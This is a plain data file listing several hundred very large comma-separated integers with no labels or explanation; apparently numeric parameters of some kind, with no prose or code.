473849410684086539436554820296880167711,
1166626734434832863429654507983831094557858639511783848068
1451106838248084770156350846245062602910481989215766441305
880307780524328369769642148894089887817,
9352989927631687523966731119865677006446489356661564266170
7808217307811161895866080499062120987077889688530208479260
98587681862193109645068086450832084353,
1094491737303096248454550323446728475481566584771649973539
3155885063412822692437090955872798494053388272621342963680
002704019158580401721491320752219289217,

1302140299146746068067514749106354895723383434095709694281
6374183413814387085126013173752410514215926345495250094128
906412319830407071401461653248809658799,
6905255143372644853257633745498660231377333191510647883161
9158992592186052944342033056095648601102248921376669741404
43433782525667869631615184002892616909,
8078565085066330016361297048723106324176126849420649459912
4317425577448995525595126459598386315881065405567227892079
88912755269819290493078703758630272051,
1176778540760568819775744671223766592800655302400072134671
3785694527870778182354353363290576485074325957314178614580
507136886224101367858278369426936641711,
8524039371940861899399304334914378106297340121246662564119
1674834851277080368686904954723178109985131405453818218445
58171619258549993528086499467073534761,
1318426925248479122040646250968589755735032052378301225921
9336954490333322095886437470098383550625250523628741152939
623111593759073402620147992463072328101,
1308239083567564014996620715614820911955505059791574495149
0920241632319410292211156035992842194648580943892149578957
049434873902982495186878146654916635333,
9456394799466402291329603575803894089801922655018007460642
8195106870944923851662175407420822021668089720249241686502
28623703257921572866830006866952431593,
7129155416737057456511979737825550036552656737328495061046
9245602366681949742843572564862003608238315586327020504960
14477575687103736240153257442871477629,
7220428331767405224972052901110587599030761213883282569892
7623978812462571752541295631477540162835884760705970879327
22101809611623813740892622249897568239,
9748785682028871461008010788311489297530862121771340147742
5568363875746271797192601688983291018149336825357950747669
11084392041469381641622619489212740863,
9436061825652891408425783468716910405115525730708015980881
9142676400064987384443170863052230413929802920506828104773
58707254809950283882029806866289981767,
1292743293890001081767970893864113311367097060160384843797
1322752862379354088485639526410706244135565058245923282559
717511926575380582059586316852288296649,
1035102559238452514766331982231776262586371121997988377807
1638251018112157364592826611527687897646272332328313388478

148265486764042585026888280713382056791,
8609152175754062289314164369959728716546122745125703698896
0259696421655529806814020042678081489909579062252581186301
23897241781172741904369625102080961519,
7746472107059346110465227255948519149939929816834553606136
9893210886176368249582526049756800535437142391230048449321
09150314284981721807286081499426949599,
7670476152069905268128253575138743646577910911220063459419
7008547837612417576604265900620290951101769314160085735629
44548606188265389950335313615583121509,
9317029200752730835976708999604005564085227803993039852962
1968300813343765259477377909822946694953987245757791944565
31234263894657282102870538119672194253,
1072197901913238008373347227191086111715439578225119750045
8256292233264370301918369431837707781150794678147561416683
126034316683341428435004381707474980421,
7242522572512409987714885500557397629848351062468180875677
9188904618188964825698825117571527888767190269335849481661
22295093349252548427416999590127052399,
1255938586373604388058328574113031695968107434393436563210
6699790831899252778239691731165362448776046932093031884628
857212451009684090326694529847478174219,
1057513068420086158183099906803075969866189645141174960458
5976115247499505946887152524545838681605576134961152187991
088504122978958862755397925775205959651,
1325911979248352693465739260254069130532351743894330034331
7488175794131135574378722591274392933183194429216751995340
677405734140200732047370748912241678103,
1209417189045574241901337458916957211850059484183030661153
6487156113697285096501258381986850960418546723226706887992
176766845039704703270761636144522644529,
1125227343074500904307681539052209849207712827932052064473
0534947885814160776898194997836772135443642150921668606414
022465147353500052184451128146532409521,
1310227807762520776432609015088782051049745259948694889562
3726633282342649540333418784393422678795594515033939565542
017107660580064703873091971365610248287,
6886461720712032149367014012263100387876833878376235560006
7131597493060090374028890444446161700237449380408989283255
82350985686960697162161788396146469113,
9727070554073375566070278625136081691389455625948743783150

6002987870630483408683284559236916724426360523162082669132
91550247978601980216677830251763852939,
9823568232180627942400956609585181774203878840989365384803
9572995719202548660221542841225300133475771688227936611117
52425859686744976405858095944562850353,
9735705569931582886492580318081878710362438140334448090995
7074446933558973456374830121306780491415389938168012218527
81100444121419848453695868316692851497,
1011110690498833567271940905014731956951579411144833156967
7753184245243029227765524186134963716148573986550576509958
708465370157103206425204877662910068271,
9524838851959790278678805411954239811123781190780674036611
2567238046160468143800616563620748156545608783329812742517
88267299239647530426136626895833451343,
7932515275995242102845487421089298135097704935568241505176
1398037384799831154586323499274002055888776925181610137658
45974097162997768268400599587702553763,
1207263977806239297270472514852129076239859483730542736562
5408347686143259162965033632591678405164345662479009889939
636120809194221978595553043088013506681,
1156608203950413215861102662811672662644554039169273531576
5930551976422243045110660825647272160508854268160056683833
685205903446380093864283101794631832153,
8468536722918550141310341818899519670822052207006382626822
3705318864599340503262384031392782714425929351964409729746
98959256077375261562744351989047335199,
7529593014600522327106791622843071664707640454941980312066
1283165471442379838187731530146015042726104391318140789349
13116529869178246630305071340625074437,
8378086027381458323130480488346747357698391849166242205994
6149746020589392653877172815399233564707831046079389807617
71179804097768259154650991653757563991,
9652053709202471100924498841458158593175284322794146354722
8858667201648704650263324858077827624971303536485807350673
14502377900039059339905377288344162093,
9422619886030510163878243486085528070846063299492374007968
8608280542999103638033441414995194008656472398167926190572
20984703333499774497709384101188875287,
1335193095305897993325375601326514803500239728914426196353
6516424817966421743544529899181827990757359390179532524463
624231535428860870799618735309439363083,

1225837398278783042547891636167869889145811156822177550081
3220498429015040904960587459641279810105488304349609200754
030625613622790199866080136499131035979,
9106607468847370448923229035617488018983053230933496081653
6468866652462105803996335828117550959219923588979416217007
51767266719859281863034583737327714303,
1273597228721256232482326369008317873828037372582741160903
2758668374182181635744612645168380656693869638289883275881
338295886903214660919553770708098023259,
8603039123727097643514883715131721459776511488360588229944
6803657462679258008960280756171267220084760213006439410493
91433964532857831465675103386663491551,
9198332385625686406210116315261595059390946904375003787499
7887002245718287309124882632059870747920127362580006611482
66592520177104644263260457014983669677,
1092465114488404424888249427241358889007321967477422290520
3893043384546241902266932640781363841555268548568710399283
048436348766582645121491215239527429467,
1273838682626621686979497760973041235003341776839678089446
6165328041814338683598552419149018367700728446457209093118
019047318836887509655845167668230788957,
1230717567695277019785253851799592766682468010007035649534
7781905945937952011675679865654791989115659875538034903556
259748788925769066104242316439046999029,
1027658992523995369168290703755003467018243854054806655683
7477164282481238434766046173480886166686340866647127189466
343207648926063388558124628540843073539,
1160220383876961585934331078165968298484333904649948439225
6927561482235547411787811102963434385737223174529489056969
099541615411227039798638138650216356833,
9071219105337753737655045905471296050452584924715341983318
0270116430601570201927468994559597560424173213274717182283
72115696372097161314214754166024042317,
9576876975579327124555856345078631615557532522451515592575
6967586139257188330500139302450745727243431128720548939483
65596551071572380040462219455096024971,
1134304722285477732259017260817877261969419634304984261430
8309179078801155829655652142289487858399765762719743750944
414788875297026896737945282117471743559,
1100160953924664484126431713925619660808117120939690687266
5904834497709473137062777082338119893600712550218409701244

854613433430513757572916806229546112851,
9804851194957044678603067587808154821491283534269173027281
2043645777553887318125098474227628639014540332424916720905
07955915473484606126635891310227891993,
9635642336718809095457176013371450079457326380729526763329
1460709930886415753190738422408421603904869374764775342901
69295517925661138545244881919155916403,
1116194397044093372762894250884132687253573098403215140737
8329652349600751623473796194649173389496455193807421693787
270922537068395310223789528671242640709,
9895405902805561903474377717654584758685840105973292218143
7385252678171016049344959103734050409483693461406323708094
08422442417609104906382953037308168389,
1153378796279290152131915407174174850850834282793334592445
5787650001308530963488643850859326512446160475366365080460
880745751400611925259274334026343851321,
1295770867714570001275513352874240295937597130246626968697
9589100985210418274027619992122442443042532696951909292421
205460506624788230146214874933908768017,
1113408120494666893274710040899021831409534303092070529667
7996737876141495090606141395845116766260828319893625698036
262458481452371007322609247641951995967,
8482464524852363359321679769207144837312509126661091243973
1394017162480991573443618867485798402076742456164954614438
84454347836505066781861845043250886143,
7266049582787107899370714712101694682222331368445584489400
3535412500600527181955475489055186362488356145270077268178
63434746835291615510095813295489789977,
9609578618410885231198322813143307718378865189595046735103
6027156797320659080112957825411691758526941908815761803139
91666777824981530402890831964462729593,
9392218905759985059399249128373487774584241145687090078712
7563666928371998819900525622886156374897199168271097526261
72274573551631337898847110418660776619,
1281685644506229566870081164592519103196710105611474171908
5053676512902140176225693100555207671238952394074858532075
250956151266914394264171488077332576773,
1223489844071125139896444969127740772829404962456459949382
7811465976808593846137854824955348361054571741733842319834
314338118100084038262817016571399358719,
1016697345930713492760744942342431896035147713847472823142

0327573243194807937627395509980459176435422474520550804970
804187400438095201544702553452150047941,
9901108680553940794060759993920791970925943005197498736576
1614759073039437848862534309701815490131459155595501088834
25737006012180636340772100373009875749,
7112759001599379146360930185023811867985495016419870569590
8712647124472130019524863204898041618170746718775859463523
43219335793899982704694649045777446557,
8509121576633469175585688411323529875580327234986864838968
8102726904293151937235104946423524873646579138173823854379
69899480519079216306390026193196652881,
8300728269567153334137658732804181517816285958937864403915
7499567635889527435511311233785791513458893681134865390204
22796987981335622189376154796827512101,
1288477192649254163896021397277955244417005025644031551494
0252452282988625691046449408521973521502656524975478275736
269040945993029408570491396871501757259,
7855492245708297385460274190073584410690646901647497548943
0775147315320706920104982562771827960781850842510537496792
22359804481406573820302096631639249123,
8776849522218288559402869495799492673298725924125801809717
5272676119455936078994043018796951095590671136311679680724
78333511256042085597795125044006979439,
7413979116115258554537044632917127097647541971791136152303
4874358177296716064048115731283613854430798909184237402987
25207471682598176369809573478186502117,
9417502313059794233787829406241763066562465911181526984239
2341713075523895155506800049094884594936507349806819996737
05771725076033654917065071502162605013,
1199828228280698665328294052643995729373029243523602968156
7133142985472627634156865496054411397480521045516535915322
451583638884387101512575771526966199407,
7652985135738008322684355838351167779083444795409799629089
4420079613820779119400063452465960588432237349820974331053
93400194772847147418832136354809131723,
1335655101598324771349616272386290231663724281170656372892
5361238259522292522372320104032556794174963225592381994095
737595070840535584921444768942249989721,
1241996262568156844362699848414175227731515713631498901023
9963725933394058018394342571968834570119274379950777006925
503026997030893646361681041824357953033,

1145252155605849171109863340986812325046766945804039079311
8689573171678094003104837813519711787804511384360942486606
785258779742867878598346493031724304137,
1058374164840750247086566274726419336485323849306936221598
9026425445039743909078227222522273830487514720414302483563
755503890072218270651962618518944766243,
1275426563794473003885984592253839293774232986801427447350
4179439024747697422605164217587184146499081672629664948148
326444403394294069867972185761013066133,
8759292397337592336912473245857714302065282178822615662329
3515846577516786517270843601872063104912107422044846501143
03678553014621550219305727563043878651,
1009528263138657650375405533891252302328363983794345037091
0881875803809481333308698348311700296735321034623207609265
370704106755827133681029962282776020049,
1114438255283536775687200797901465622566939653172727663411
7261947651265717476048423395516029847031436705806528066588
406928137536052844275042797762284245799,
9573738723662830934923767018919987711829666362465445892788
1058394710075229305559773609553375828243803272268253159943
74736820434124447702898660937186553723,
1247915085299363072331500382847000367888851835021175438302
5604590231130537244381687631301079487415844083717897167884
733723617530862455675897297377397445037,
7085951801122337269254698940889156538904950601202165095476
2540753259783764765306893828695335632375399077625432926106
60275509420998041227561987528969446577,
6781304410080728049203142391843236796281317473194114071073
6067545586587917440224879561875327194543586190773638168077
11978933423087235934563721464140564581,
1330707074750100853848007340683266245568550692291896719001
0286516030793453155516259111598612937736377188531373915309
425661470130647133779862072272056966589,
1301531121835767444803506104864976194950971926953982362796
5353378938128765257329369552189569001119076639002467584112
394144208112542238360915493442794891729,
1154430390364030712991658347068971522053945648848406093299
1796581368163914277546659559249995168940693521639996550556
794515736818838125084892945599148116107,
1339832826780764266726431295609207110571190899863058094819
1946603151717233792982609333304386028070304945098599523494

257223225400851845264102489694241089959,
7059812432638705756465868911194179027871027705340104805315
1002526268202515012708093729203006858655672446497457553705
49805275496075379335025423054531122473,
9429532879866462982988018401032098106065974396407172545422
0592300159574935854580953418548389230549310158950436004394
75527756809231871598520527442271510289,
8103687881262703780633979241403253363677198219530398950099
8189791675954235947880234843757996057398441172938269823826
32378892855582518060925159998658001983,
8252320685656765173221112820936385730737571077667130522653
8073061200988615377412508602619365799763787924981294226313
57601769534484493585808474400610193557,
6805408254256721500726379300011311275905654786210338956038
1591780004615607784955700863225812144690616811240880423228
53486200909347812010102116882815360913,
1005486813108795256536062664692915051816162266223575359320
2934478318690403128875791499496334224321526464615852851012
041112001623992623387889862036414445437,
1034433503166156003046702450043705389453760654544204462964
4263706838069922980633443808561192166249822722941084986414
427088832224487802302743765201647800961,
1328354606818851385719108907821563821194539302913329447067
6639234963178566416045000236232947102401210385810893533256
403968395401519563761948702137276820439,
9481066457935375490174191509121150239701330610979730413763
7498916413871157559474068978211573025853977907034615420940
65338131007462021966401044760743885857,
1332419005073632801433121243538614724380657158424155211912
7446502283965101202803962731159793761009606277237275636793
799386657703646773358648789144572453361,
6900173748361445169171662176841741932720575635891390994122
6439860749242232089467322279230296746890790438773633513366
31383418134838773060230912416198078899,
8563268794187629075638799254667469467346959002269553185839
8188730998517921256986249768798154335787053931445852449930
37284574496847415626411943179144959287,
1219070282545625028453185718330091326189835502714539965379
4940426904411510625978544093046881490811840026247537470600
232586333878225659487542866777727684741,
1041710156982864697226728971614663984070323338808535030480

3155110525863308528019609802654213852097804918894498979885
581488077947145112762226898761238551767,
1209051904647005421627933704598027896144585414287037767127
3589905674804345890213432264611575630696202458610229058699
604456437248071344943362751647539129851,
7817798570762267058892730531961826086027125534332052957742
2999170801416949124481277922090467648354164614442655043251
61300045298283768671078142269033152519,
1167636372723817271955332631953170217684753727637333778912
0885450578792621893685594306349257892622887859343493562040
419233812349129150790870241914961259269,
1338048851464008955285870437368187100480881018621421170713
2969340759182057241279566218255179730734238348493996546482
087466516801844434739256563689552391911,
1285554628330529140578563853545096763857781162363149489592
8197771319737402515923229820255297194097471437476167826933
629371039540144545656832993571276736061,
1035363186231446799421622111946903007951013853172730467915
5524378728192611410796126023322725494158729079487578027517
158227980311074077834993504535592670599,
9414183726935545101480205810926546544710985521241734801620
8625449890638712949450201650319512034203533716468631643134
99632609908102532052504107118869401199,
7622103862951250927178767348768870533229107431858191595012
0706326867976770545838799840666321856032505032442074621208
48442042985917963085856701739957525921,
6751890437800070472949954986991758468990246658229241476194
6090220938046728627485440716522746609150860361972269915869
64854186354998914896371795403924154737,
7024683668641530127703697095794852457453504791759125140751
9788750287763299558512519868038982810251554149673548470754
32405990385312180970880818047094919197,
1303383511914398463663259713178459815593729374340532670166
9377262940393002989987717413581593249634034195315164332226
555882611701345639235178193387924520763,
1073066948295052806619965567841209166268981997988039675188
1212826336041798508513127931879994447307252942672872110024
122231337077823555918268567111092759131,
7733482978040136306213081506081540642602739597354299773523
6192684638699509239491314576387408149333923333730528461492
58974087799460864723310924361178855251,

6829286250692448489139240460699731541197550573739684800282
9895410229597069191418155672088639182165311801144153964993
13436879822229172680678301534034832213,
9799225352243502166055840211375642281423337958295264132155
7808405314744281707185107498401353893023551421533459540242
37028545263711029943480435270906435643,
1226158404198459174970815031647941535443637117953867896179
7579380235059653861371074934294360522822481300702580850419
015755332556470956290267582980577851657,
1074283950031085227955930926292521440475824700722679109267
1308701092208898809190251602740751884593678792782879962239
577263856312865136684779877302445862303,
7010770759897121489897581927067935067905120959779878231786
4955856379679958798138331702795716924951156011253288087774
35983427165720084884286057196484145079,
6919076767962618627826239492547826606422994866836824219772
1174871133066751276168042978957070116497178000109789249336
08059875227265226586406082716110065047,
1177743755455684325222823567135274397717188486925814618623
4169322357992147919274822638805914071882982903046425062311
440547413936415971639443935071381032273,
1255329349669316736705841712664276984417130344171864959888
7562511250672966086868208134224871945502859218166477122843
668472337302753976095695424893679038733,
9422644983792967199178913329190716773527578141875868075981
7753154100735017380145702657092586163248157802376165027457
28830368223478371562968932344396605227,
1119162870645186115879710573838961084194415093821050640901
1257745767356830321672954320275863025273058160577325934706
444433409668361847337918155749277101583,
7414938217153580298476010466093798535514973765001769051062
8651952136832985368775623540529320745071753995015070182345
33220196269956190881890633624532308839,
8215705808389075072911791314119828947438563061122897553165
6604544796649277407749853614159808970117818703367861166465
94856059124406299646381623657817012061,
1048906566004965758812258198134920449906439658722572521819
7485233327255076551365537663361164413201662801454794864274
206098480601023180398497837434423175209,
7009320100941863384718911590383967618959299440841006855871
3487203586787144264440770896587970400585610951051168183283

10127862772302902554931777483503771551,
9654705873273686425933450254181734495963669293042438801446
2177051177931482214252864549426791517328702635073904236298
66313063971094871672652133563400445561,
1005664448274842169891747082547360309075657333467359774066
0139858424618557228592019554295181407245687633176995962209
729549992194258759871838802484745298557,
1241568807208988617125417577895944079595668450053256830111
6221581839336101715349665467066185236639435897833437389077
345103183913935859506260157686486327811,
9348376887883854843452278454216072109976264511896772617937
9764516474868193225113645595442418941138736243070797266058
10986532718678071156609093209706285287,
9168936963603232769171264781425568204062137589259209284322
5294436229310650710773606729410113700978080198964538364039
73241577816429895778745772664344255973,
1132863229785190291618187649571295326122497445178798582970
0986625714966150842710527971071905320121287233570847558032
117111866750447786429362793295635975339,
1204086646151481130537029391599320689409300704928368536823
0324597175678104429956879638103398449867984186430132881195
615786022699274783834507449395963896743,
8147765407214716223111595715142226699672534576866647454901
6467901341833411413367382366311421771555643074033494097977
33483678184146326184717604316345649123,
1231688488385266656623570414782327696500579440044316498754
5916635199474362925871357151197879432558495105988477526865
001685844420565685687829910206150584533,
9206245618673400634825918137093084425293850740230602838771
5940083151518671052872349156164289921941313314056660664450
19246406698810570764939895536096123037,
1220974465899097789362786277037526767264533992556661955952
5783471069918692072594683065712711772034119545402432624319
746827001542058255303286259169986910789,
1167414442031149628948230049041860075671850394867842506313
0270263791700825812580702172828511616139104452243317368138
459428054796065820354138268646696682599,
7556732707574181724740525711297014053878163041764859738556
9939952017318781283131869447829211452576838789560745682925
25648823176569239587703601596020260341,
1172381597286538076733182640406917685987990849901583926473

1153539714518859561008870082670797367988874342067876926457
096448382879509704354909006558699776193,
1004934715337089227372702901210847311982911106629359812403
3191764791556755608403401926929725640508386740427596690459
074444415212804724977333954978446337417,
1010942912141057004830549282514321600400262454909230816562
5465929660723914284275954394876572546844526268431169019760
028567917308540233232793456549562540381,
6739900258846209317064700262666213393946945823635508077851
8298660262919947409475895391654446751761209135505580718517
80077636570339912039353625072355025151,
1179980077586679129639870734995336602862771720943697781567
8947364832832334490244119889606347147965019228886027127031
758113613348412119870307003644365732797,
1214334876936608978175927013228206467447199074959033183559
5910327979533727728518295439531902802356798566930606820725
084760374608705474447619135076681165111,
7947821808799852177898788283123361850469411035297967373514
5289442886821131063574030051301967551400166305871162477254
10677240289351546356856289806531339821,
1234139350402434732526482125692759053363488394131776585683
0936959226819464079510095261521344698186791576306725449051
291453003656444545991605362549517962669,
8637868843864645677229231497694425200774246602328854977311
5449108204588545604104589491093775187255731007880209255852
94094181350771690575453726705090252537,
7686051846518531593636452735417757027388615133405900630159
1647672994999252386228893874595467645278775234859771336098
67424613534088145797008853458605789543,
7480393072781831190304693071973347664601623717267253166277
8865477371776107283486344747165723134903057478491621820375
63827245402743081174945703897229108671,
1235915918971602961366901196115226034685736740673901988477
0589244329240071675943138597605403239375298497676692970595
256390588151309401709180921014149761071,
1246982954959665976156080019929906824169650280495898203405
2789035224853675006764333650494274706617085507244713345225
410581886998482548104816150431639092059,
6922085811550376721891993120358063837405639145727238226423
2073547810424860260345018412771713228743715440829460583928
46634489105738827321369029253869604283,

8473218648433915680587919753262220229261971048068422141048
7131283586549846938217516742886062332798183419765189202194
89380500958811774904239830828402233387,
7713491478090975975455511127803995747036752928696063760210
2913248621889152913704676235793575339436476518332246803251
05903860697944281779060594807042414693,
8328820661756485531295741855297983439425549601478147292258
3826785111442168751766938268419384813652469295947118452408
26546409077311824868745376179927796009,
8204487384304428427230490203033577589268235461557837469303
2847110636917090080959320443287032723833589297380310513453
24691796306530293889562339080222375099,
9158905400621117362657640145857183109670078270169484663489
5791408223273204977790243877461853655086921519047721956586
53325707460285409242622430653084896977,
7634721392881420706555969954655007472518713613832947273593
6277040591800854639702013927007793562432476047194513514023
76060338793551928240146506410036904223,
1108798886509111152593179671297954738386616724869728347158
5095206377731260406401020427008897189424303868523291024869
460533948387236294124134199436929909627,
8147243349479027822276348753762261228972160652218012778683
6307266478497808710311188659894347489671643573544014685853
23942414838899442006111721096273913251,
7766884969327452860626386711963302781741330620878425412663
4204221653322132467311096808871227794102148520560765055004
31685040257229330134438832836016413277,
7810854912626713846930578372476676852323588998468015864964
9350364866054133089886373743404983759936794872932214788674
29039307961569534013958583041770682487,
7715109620908526903800590163973309264141226600159568570296
6571109129900152477468853286845104134693573188833617040730
94022539024871339837802571579474251491,
1200422107577143757370406028449103821472559747086387471940
0616053003642085082369020277980271964526949941383389732600
445202108208252659140877572201630507467,
9011340289795804038587988198859833854058832734312348877905
9538533973664136300297395309457052836328981483348179599226
92561109164596590334719693326558492983,
1033438814803447291298823772856232780374436274485123505206
8556458149278663252854908886242113464581987933136087527164

625400411201003819191289792047884795827,
1140771829966345594296439770112101656670018628385725580857
8577137834584068940191990293261348268807492229059361910330
224871971929771386828573560407546106791,
1336375636081989224035987464943253964009327976089655879131
0326024116223946481819250512454991083529899203701411524030
509738721632483530780311605819212612481,
1211716775684640255104443186080931977645084170306514072243
5175191572402251633161312813672831592731784458985931200430
953181196913493255652358426047210183449,
1004348047657169232888958933670190351660995074220661620102
6254881580748612084906506968879314371152517923479094939073
744316937645916181763385514984822972501,
1208698675336328747528980316476049263684027065000284996267
1671510758825095559733752781770405778061853957171045190038
606279081498434223022946785088131579839,
1257696812853248260904904325151789521459457554912142204672
5274227969065719887178565352180980796183167637058892803677
060784625577309833017001795709429922581,
7200045083986682843431339992579964937356498297387192669754
7735414230557008129986474556051764967380489443042729481335
26994376934462868941124750220634310231,
6724835909696040628768793456556425544216335458632274132287
4429312659419837850314502272295467639492237883515225973464
92848243437038321809008118702619806461,
1261637882972910040087237247208497325844724144147048781106
4449261393153568864561671666239406699459988158485657389023
666409249758678488935488269830423581517,
8502910588476177075069037007301742043076895229391612931629
0387441829291306187655534159806702531050054513676490160581
18464619016918660967153453959909653817,
8904685336344307101015847809923481000784507102250899855660
0095521412560064433463873713709685546658282572124118441451
30059726019196499838174848402421668743,
8073632698107121999042405755329108742782667760797141208892
0652128822003289688604142712712078231947733677494453300054
39578008874316754484724652609467496453,
1122766406576364806674473382096210247938785913442883637055
5865230566402947805423464156970413092171893936630127999326
999798117242138497531733717680805411779,
8479308893133980668439155266084764817699031890083796189122

9841887603968337792139795678556023898432471314437443397606
40807331373090137959883474059483567179,
1264568746701313049622970428726930718008746708355561072954
3699814907379176025824692821599738122685566184927106794066
527408014974603708501991895425450853697,
1198155681417363096342847280341860800230159147269881464328
7522371215992182284127505545981649736321764305488904654572
636305521964958364227190084611701520099,
1044840296168818264391874107786535300358655000812605296526
0227753807268496248826257674615672991604884729849945495070
486703986704074117293604015808086438179,
7678125182923387983776109370510682568154221588707067097074
2718484387811670950849516214613989248192076146475585490900
26123439757231053908844034384255635657,
1302955259304775151063231697249466891301370836829659966895
1431556733370810765802910810730196782460592490306776824908
003951407723323747577096112018390758053,
9398993253786645926933265669179122536383024374626873088722
7034527286515812815643849964027678521065242991400478725110
83020163113210272764561457700140462749,
1199044340916777919726508827737271731219724715688074322318
0967125020172962808247281201899230124017061247229955371486
749289626562303796507478865893774944363,
9768472501232554606338516017200168467447908663348112823859
1631315696217837589311915144600495810943104406080143191103
37266551137647271577048841952244184289,
1300809056722727016723785515985248377172062326406779205154
8221504341952004975454211023944005754825544419948530302297
339618585632994958257526749000488231103,
1011153702604146209731589476755865875709757874435146554778
7526202536119647665520255529889945724639674189964139985617
253326776043888550270228517424609794231,
1281123412356410186907291042583573664094896207080708036104
3569581482552447584757929916590766984684709634680282697088
268579235485147404216353995635410323391,
9823053043291459070275941896827920968152344652766864218219
3292503209934989813003437053592914705397626018669715625734
05576770162132836739029448092404420949,
1297726540214877280759595823070032068610821880997953240594
6820869847741896271203854967945664440201131405945501543756
080173545643883768429167115726936891937,

8614899958757128975552800309010362487864508765489348504652
5005636863912389108359031384728605769810422005308692029321
51909505434359929777893379543466582907,
1291556243942649177746495980737228863585436863187034710951
0955340606298458236177097726848261206567898885278126675154
429712205344632862942568636879647858183,
8765840100161194559266023474512945519194627513254923878332
9219690300421649792438720357940734249194829446004364231483
69482984657291497935932042465496737561,
1111427489419626950704464845165498664947353457842251170852
4378190888788424369239154031226132890300880365396167002436
871700135590532039562392993852645425561,
1320164727183955091314955198742572107327550711174038200867
9977583304338324417491096257967321215446100298942281077768
816616742802089438555170762947932468783,
1096261145411800144760745229294350099506459004628560013977
3184394393970403062353079501519456968635273110583339766550
186713291061559542390524451066643573261,
1204441565275371750089431693663167009480278488725584068805
6140069725125737813970847056612068801092959068777067577747
761837205384054924959194596800196490609,
1003117392675679438571076032708781500070583936814401656065
0089867669268279284690004619918453033876317053837867876837
619550632480592922010346284653234335613,
1274429514326019177213267190957201156487439952769253852366
6321976191632951993766027213854406252540784707469058146928
191234477315528446810764500092249975251,
1265675153050262173714689063743926702116021381719440597179
4964132579319428504830100567132137489370672769218130662120
845868823778485096387671012688915199103,
1281690557800471508426802200009387753646898861814196200352
9722219950100798692205977999934139511793158300004680695416
897442312498741938598141104350842607333,
1269150022132398235361383168892078695366352614385961823716
0660715316280409997370583570425718448939260878871138685845
082178878983633695911792550970751005663,
1240562011572810096016870066059047773960030825521550586926
9288856434846097200294100959958873607500451987777036414811
896896652269714890114546700350249168991,
1206011692778483110500864803516278601984756846315253525562
5807145164802204890430120578888249108296805023066473713048

957148242029413440921680250332157734857,
7421241272629155822242406935494124652461693708496224388375
1922730032241708711557693595817061536506691711984065926050
70963825644765484084569988122939494743,
8700218301214795864360011897746829837932223561657908650648
8156996487710304989260793818439120288092561445193765657907
06069499978061744807834802082997167163,
6904352224298142213192803791216056887084156038799733823971
8189040305145776266330199407008512330396281251555168989893
43554784033127056295616230239103224503,
1079902939134274026762331910079752866027106813890387552550
7590604970589364846703301601372273794923454859169631097221
955807169651118903608599156577788733049,
1075002824830611166822936983440133505039132601779984129153
4053919658337208940675235876677868005178605639485166222327
246115125967579231402821227808866806087,
1036025931620013871433531508093167569616120445950600241876
8378805805661943969939209341576142901993501719072094878120
616628258327054091762213054716147572727,
1338762217284305325577099576334288424998561617281797871045
6648115970289588625959858631551234714550730463904102126652
396793085097530103046318953030577225467,
1180862144174644010345012922100627644510735973890232855196
2660379726144954096550802046128476689739410463172413608280
947970862494465703533834716931912692023,
6780180706625418301871143713620543077630381177146273222018
0622722902757858172740448992554602967669201485181076786850
91586437984873680328598164016026504191,
8853414718298815457498276886410508108324590421657810342315
2491736330264394370145922842142311596300853911893970993716
34487927011174522916192797588870981693,
7657839148345943991512795818198162920871426959078109338988
9274760136588482753954409288939118583928429106364263992025
80060285237874236640340937282711823273,
9721801997875202440937985397232980536333226078914708105511
5161147885958672866855563848685834067286575115926442356625
20502467708027138175400827298440449443,
6969240887337639433224745657829092777182729311933371745724
2853923293624876341290025667918311652150578216999769114730
97069411486192715393788998945507240723,
8853492811990751885766018730876107779816675755840682207098

0160977993372130690238824730941550008274461686412070757646
76286377518703540833166033222774422111,
1053341584397004261579962762699423667934318146281092661434
1173935394491083776660938376665371242578968050697817562389
819612307737267747934316715122687822771,
1334034996075987927683504011779945857124647816050017146209
8042964456963554300303604424988321732549628326287921498385
575628400719094404158449223313752192837,
1278030566583371076152730592472706542913174065229129702911
3229461882983126756896295360778006558507580265990187429508
358662971110462724714989612466266216583,
1140393469205451841086468106685841209571243706048971328593
1225757113378743091351567296234092187934949156493687957740
111656946349680853609275266659654958513,
1198007426846627633752715423108905728365169442869168168937
5259103379748487015095462387907987719970040180512385518865
669612764621997009371478740407764142543,
1169815458427162098117897347912600442789633676872112533023
8241124598439685700184671205974104746103190131503634360179
154194432366391512423381695979946290929,
8696452859024708193762283584210898196666854082544730896111
3367319431776779332339335162964329853626405744089603681111
66368005590826745197895752162970721611,
1112737260788340816494202000465473107157376890282423834098
0630289364373885048060511551716146493946954336726232849640
090198122343335195284770230440952800007,
6928848927338307041813532826413534579647692511328090847643
6318407110185846621519670026920189013531670377226496505820
04127603927853302272662456015185095579,
1338171693520983161048457827518022843197261186814021482098
2623473427638645039628966675412508324238491041808301280638
703452521946339184441586626548313135141,
1160437361652248006609376938824663872117954753977096814003
5044042548675002125721786147886353276880277898911481088605
936973445640898372475698032430990289003,
1269339705189034019518379005969368252911150612515156505547
2913182901189853429422938892226007026737095368469943362295
364571294362253878504752802960167091891,
7807512475123548333667478713701734277997556380567433174629
1753590913037370932199772898700072124226349557164543778299
08759702843381596482005218543597716909,

1058211226030284731504581460497278727443636888126828576895
0363910107662535708041155219522704507598834049787238637057
458109386913750509883097204711216269971,
7436320458326157159819267087473846025281550159975177773730
1071460003220476567430261126164059369624589757826704910091
24125913068035399730533210633275186153,
1122204665319741397785659607801716510143972188852788785830
9688235611977272367525171634868387112010811139087169176938
569744973810582170409340459544913190257,
1012701875570009481245454829363258320492011986573315797690
7255126327964629987192987589354031828916560756307889504286
709026252343062554591341067011328644133,
1050793715835432034207561118263859016184582229623331701658
7207718131510083122435998809135442300268133457161417128572
005048339774972485340808598641276988799,
1233069170855128369754481463933527016903973108156592997702
4833553291429869420206702571016853848508471608909448782491
037550988217780823147701779766068925261,
1331956093735503194271319785891319298607395834207249969921
5931341484123790942984676521513832360136902889881676875172
146388640665423840351954513492271158381,
8221554057923843125808054200759247105982448350746814795435
9683762347148936194942080513097794011906963424946255993868
80908224324929195689112567816850773469,
7736347005882117217037508289109010061990652049709287676056
8468979489289535712881780159616903137600586435992101419628
71209744949028475581872806204365110589,
9048489342006517154241741325904917471065431830649151266947
3221799838693833459699066241832750666807596287596758428926
54968775166514861475449843255292145973,
1140570674810305959336535325140227682794417240545967540283
5001982439575502476973241834379908853423873755578910033551
702945220296756148673889736286321374261,
9615251981067869336173355437844896773630333999532274335860
2201219515195090898474598697547326840023503502428496228411
75292120028434390366839892346950670383,
1053400580109756716425779062279871395524217343037144559534
6295947721244651499794267654108399575691557455817697187950
407803691531430139657489576968832938991,
8132313546469940954335586529817621620548631941721897253064
0708169139214662035752324717679006117305115455122975254158

